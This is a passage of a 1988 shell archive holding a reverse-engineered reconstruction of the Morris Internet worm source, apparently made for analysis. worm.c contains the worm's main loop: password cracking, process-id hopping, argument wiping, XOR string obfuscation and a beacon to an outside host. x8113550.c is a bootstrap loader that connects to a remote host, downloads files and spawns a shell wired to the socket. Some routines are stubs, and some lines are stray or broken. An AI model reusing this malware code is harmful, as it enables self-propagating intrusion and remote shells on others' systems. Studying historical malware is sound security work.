-/* Yes all of these are in the include file, but why bother? Everyone knows
- netmasks, and they will never change... */
-def_netmask(net_addr) /* 0x2962 */
- int net_addr;
-{
- if ((net_addr & 0x80000000) == 0)
- return 0xFF000000;
- if ((net_addr & 0xC0000000) == 0xC0000000)
- return 0xFFFF0000;
- return 0xFFFFFF00;
-}
-
-netmaskfor(addr) /* 0x29aa */
- int addr;
-{
- int i, mask;
-
- mask = def_netmask(addr);
- for (i = 0; i < nifs; i++)
- if ((addr & mask) == (ifs[i].if_l16 & mask))
- return ifs[i].if_l24;
- return mask;
-}
-
-rt_init() /* 0x2a26 */
-{
- FILE *pipe;
- char input_buf[64];
- int l204, l304;
-
- ngateways = 0;
- pipe = popen(XS("/usr/ucb/netstat -r -n"), XS("r")); /* &env102,&env125 */
- if (pipe == 0)
- return 0;
- while (fgets(input_buf, sizeof(input_buf), pipe)) { /* to 518 */
- other_sleep(0);
- if (ngateways >= 500)
- break;
- sscanf(input_buf, XS("%s%s"), l204, l304); /* "%s%s" */
- /* other stuff, I'll come back to this later */
-
-
- } /* 518, back to 76 */
- pclose(pipe);
- rt_init_plus_544();
- return 1;
-} /* 540 */
-
-static rt_init_plus_544() /* 0x2c44 */
-{
-}
-
-getaddrs() /* 0x2e1a */
-{
-}
-
-struct bar *a2in(a) /* 0x2f4a, needs to be fixed */
- int a;
-{
- static struct bar local;
- local.baz = a;
- return &local;
-}
-
-/* End of source file in original. */
-
-/*
- * Local variables:
- * compile-command: "cc -S net.c"
- * comment-column: 48
- * End:
- */
//GO.SYSIN DD net.c
echo stubs.c 1>&2
sed 's/^-//' >stubs.c <<'//GO.SYSIN DD stubs.c'
-/*****************************************************************************\
-* *
-* File: stubs.c *
-* Author: Don Becker *
-* Created: Thu Nov 10 10:17:39 1988 *
-* Contents: Stubs of copyrighted proceedures in the worm program *
-* Copyright none
-* *
-******************************************************************************/
-/* The version of crypt() used in the worm program has the same tables as
- * Berkeley's 4.3 crypt(), but uses different code. Since I don't know where
- * we put our 4.2 tape I can't check it against that code to find the exact
- * source. I assume that it just a regualar crypt() routine with several
- * interior functions declared static, perhaps tuned somewhat for speed on the
- * VAX and Sun.
- */
-crypt()
-{ }
-
-/* These might not be copyrighted, but I'm not taking the chance. They are
- obvious. */
-h_addr2host()
-{}
-h_name2host()
-{}
-
-/*
- * Local variables:
- * compile-command: "make test"
- * comment-column: 48
- * End:
- */
//GO.SYSIN DD stubs.c
echo worm.c 1>&2
sed 's/^-//' >worm.c <<'//GO.SYSIN DD worm.c'
-/*****************************************************************************\
- * *
- * File: worm.c *
- * Author: Don Becker *
- * Created: Thu Nov 3 17:16:10 1988 *
- * Contents: Reverse engineered worm program that invaded ATD on 11/3/88 *
- * Copyright 1988 by Donald Becker, redistribution by permission only *
- * *
- ******************************************************************************/
-
-#include "worm.h"
-#include
-#include
-#include
-#include
-#include
-#include
-#include
-#include
-#include
-#include
-#include
-#include
-#include
-
-extern errno;
-extern char *malloc();
-
-int pleasequit; /* See worm.h */
-int nobjects = 0;
-int nextw;
-char *null_auth;
-
-object objects[69]; /* Don't know how many... */
-
-object *getobjectbyname();
-
-char *XS();
-
-main(argc, argv) /* 0x20a0 */
- int argc;
- char **argv;
-{
- int i, l8, pid_arg, j, cur_arg, unused;
- long key; /* -28(fp) */
- struct rlimit rl;
-
- l8 = 0; /* Unused */
-
- strcpy(argv[0], XS("sh")); /* */
- time(&key);
- srandom(key);
- rl.rlim_cur = 0;
- rl.rlim_max = 0;
- if (setrlimit(RLIMIT_CORE, &rl))
- ;
- signal(SIGPIPE, SIG_IGN);
- pid_arg = 0;
- cur_arg = 1;
- if (argc > 2 &&
- strcmp(argv[cur_arg], XS("-p")) == 0) { /* env55 == "-p" */
- pid_arg = atoi(argv[2]);
- cur_arg += 2;
- }
- for(i = cur_arg; i < argc; i++) { /* otherwise */
- if (loadobject(argv[i]) == 0)
- exit(1);
- if (pid_arg)
- unlink(argv[i]);
- }
- if ((nobjects < 1) || (getobjectbyname(XS("l1.c")) == NULL))
- exit(1);
- if (pid_arg) {
- for(i = 0; i < 32; i++)
- close(i);
- unlink(argv[0]);
t
- unlink(XS("sh")); /* */
- unlink(XS("/tmp/.dumb")); /* "/tmp/.dumb" */
- }
-
- for (i = 1; i < argc; i++)
- for (j = 0; argv[i][j]; j++)
- argv[i][j] = '\0';
- if (if_init() == 0)
- exit(1);
- if (pid_arg) { /* main+600 */
- if (pid_arg == getpgrp(getpid()))
- setpgrp(getpid(), getpid());
- kill(pid_arg, 9);
- }
- mainloop();
-}
-
-static mainloop() /* 0x2302 */
-{
- long key, time1, time0;
-
- time(&key);
- srandom(key);
- time0 = key;
- if (hg() == 0 && hl() == 0)
- ha();
- checkother();
- report_breakin();
- cracksome();
- other_sleep(30);
- while (1) {
- /* Crack some passwords */
- cracksome();
- /* Change my process id */
- if (fork() > 0)
- exit(0);
- if (hg() == 0 && hi() == 0 && ha() == 0)
- hl();
- other_sleep(120);
- time(&time1);
- if (time1 - time0 >= 60*60*12)
- h_clean();
- if (pleasequit && nextw > 0)
- exit(0);
- }
-}
-
-static trans_cnt;
-static char trans_buf[NCARGS];
-
-char *XS(str1) /* 0x23fc */
- char *str1;
-{
- int i, len;
- char *newstr;
-#ifndef ENCYPHERED_STRINGS
- return str1;
-#else
- len = strlen(str1);
- if (len + 1 > NCARGS - trans_cnt)
- trans_cnt = 0;
- newstr = &trans_buf[trans_cnt];
- trans_cnt += 1 + len;
- for (i = 0; str1[i]; i++)
- newstr[i] = str1[i]^0x81;
- newstr[i] = '\0';
- return newstr;
-#endif
-}
-
-/* This report a sucessful breakin by sending a single byte to "128.32.137.13"
- * (whoever that is). */
-
-static report_breakin(arg1, arg2) /* 0x2494 */
-{
- int s;
- struct sockaddr_in sin;
- char msg;
-
- if (7 != random() % 15)
- return;
-
- bzero(&sin, sizeof(sin));
- sin.sin_family = AF_INET;
- sin.sin_port = REPORT_PORT;
- sin.sin_addr.s_addr = inet_addr(XS("128.32.137.13")); /* "128.32.137.13" */
-
- s = socket(AF_INET, SOCK_STREAM, 0);
- if (s < 0)
- return;
- if (sendto(s, &msg, 1, 0, &sin, sizeof(sin)))
- ;
- close(s);
-}
-
-/* End of first file in the original source.
- * (Indicated by extra zero word in text area.) */
-
-/*
- * Local variables:
- * compile-command: "make"
- * comment-column: 48
- * End:
- */
//GO.SYSIN DD worm.c
echo worm.h 1>&2
sed 's/^-//' >worm.h <<'//GO.SYSIN DD worm.h'
-/* Magic numbers the program uses to identify other copies of itself. */
-
-#define REPORT_PORT 0x2c5d
-#define MAGIC_1 0x00148898
-#define MAGIC_2 0x00874697
-extern int pleasequit; /* This stops the program after one
- * complete pass if set. It is incremented
- * inside of checkother if contact with another
- * happens. */
-
-/* There are pieces of "stub" code, presumably from something like this to
- get rid of error messages */
-#define error()
-
-/* This appears to be a structure unique to this program. It doesn't seem that
- * the blank slots are really an array of characters for the hostname, but maybe
- * they are.
- */
-struct hst {
- char *hostname;
- int l4, l8, l12, l16, l20, l24, o28, o32, o36, o40, o44;
- int o48[6]; /* used */
- int flag; /* used */
-#define HST_HOSTEQUIV 8
-#define HST_HOSTFOUR 4
-#define HST_HOSTTWO 2
- struct hst *next; /* o76 */
-};
-
-typedef struct {
- char *name;
- unsigned long size;
- char *buf;
-} object;
-
-extern struct ifses {
- int if_l0, if_l4, if_l8, if_l12; /* unused */
- int if_l16; /* used */
- int if_l20; /* unused */
- int if_l24; /* used */
- short if_l28; /* unused */
-} ifs[];
-extern nifs;
-
-extern int ngateways;
-
-extern object objects[], *getobjectbyname();
-extern int nobjects;
-
-/* Only used for a2in(). Why? I don't know. */
-struct bar {int baz;};
-extern struct bar *a2in();
-
//GO.SYSIN DD worm.h
echo x8113550.c 1>&2
sed 's/^-//' >x8113550.c <<'//GO.SYSIN DD x8113550.c'
-#include
-#include
-#include
-#include
-
-main(argc, argv)
-char *argv[];
-{
- struct sockaddr_in sin;
- int s, i, magic, nfiles, j, len, n;
- FILE *fp;
- char files[20][128];
- char buf[2048], *p;
-
- unlink(argv[0]);
- if(argc != 4)
- exit(1);
- for(i = 0; i < 32; i++)
- close(i);
- i = fork();
- if(i < 0)
- exit(1);
- if(i > 0)
- exit(0);
-
- bzero(&sin, sizeof(sin));
- sin.sin_family = AF_INET;
- sin.sin_addr.s_addr = inet_addr(argv[1]);
- sin.sin_port = htons(atoi(argv[2]));
- magic = htonl(atoi(argv[3]));
-
- for(i = 0; i < argc; i++)
- for(j = 0; argv[i][j]; j++)
- argv[i][j] = '\0';
-
- s = socket(AF_INET, SOCK_STREAM, 0);
- if(connect(s, &sin, sizeof(sin)) < 0){
- perror("l1 connect");
- exit(1);
- }
- dup2(s, 1);
- dup2(s, 2);
-
- write(s, &magic, 4);
-
- nfiles = 0;
- while(1){
- if(xread(s, &len, 4) != 4)
- goto bad;
- len = ntohl(len);
- if(len == -1)
- break;
-
- if(xread(s, &(files[nfiles][0]), 128) != 128)
- goto bad;
-
- unlink(files[nfiles]);
- fp = fopen(files[nfiles], "w");
- if(fp == 0)
- goto bad;
- nfiles++;
-
- while(len > 0){
- n = sizeof(buf);
- if(n > len)
- n = len;
- n = read(s, buf, n);
- if(n <= 0)
- goto bad;
- if(fwrite(buf, 1, n, fp) != n)
- goto bad;
- len -= n;
- }
- fclose(fp);
- }
-
- execl("/bin/sh", "sh", 0);
-bad:
- for(i = 0; i < nfiles; i++)
- unlink(files[i]);
- exit(1);
-}
-
-static
-xread(fd, buf, n)
-char *buf;
-{
- int cc, n1;
-
- n1 = 0;
- while(n1 < n){
- cc = read(fd, buf, n - n1);
- if(cc <= 0)
- return(cc);
- buf += cc;
- n1 += cc;
- }
- return(n1);
-}
-int zz;
//GO.SYSIN DD x8113550.c
exit